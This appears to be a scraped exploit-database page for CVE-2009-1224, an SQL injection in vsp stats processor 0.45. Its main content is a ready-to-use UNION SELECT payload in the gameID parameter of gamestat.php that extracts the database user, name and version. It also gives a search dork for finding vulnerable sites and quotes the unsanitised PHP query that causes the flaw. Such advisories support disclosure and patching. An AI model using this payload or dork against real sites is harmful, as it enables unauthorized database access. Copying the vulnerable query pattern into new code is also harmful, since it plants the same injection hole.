vsp stats processor 0.45 (gamestat.php gameID) SQL Injection Vuln

2009-04-02 / 2009-04-03

Credit: Dimi4

Risk: High

Local: No

Remote: Yes

CVE: CVE-2009-1224

CWE: CWE-89

Dork: \"powered by vsp stats processor\"

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

########################################
# #
# Product : vsp stats processor #
# Version : all #
# Dork : "powered by vsp stats processor" #
# Site: http://www.scivox.net/vsp/ #
# Found by: Dimi4 #
# Date : 31.03.09 #
# Greetz: antichat #
# #
########################################
SQL-injection
[+] URL: http://target.com/vsp-core/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x203a20,user(),database(),version()),2/*&config=cfg-default.php
[+] Output: <option> {DATA} </option>
Bug Function: (vsp-core\pub\themes\bismarck\gamestat.php 540-558 lines)
function getStatsGame()
{
global $db;
global $ggame;
$sql = "select name, value
from {$GLOBALS['cfg']['db']['table_prefix']}gamedata
where gameID=$GLOBALS[gameID]
";
//echo $sql;
$rs = $db->Execute($sql);
.....
}
(c) Dimi4, 2009 greetz to antichat

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

vsp stats processor 0.45 (gamestat.php gameID) SQL Injection Vuln

Dork: \"powered by vsp stats processor\"

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.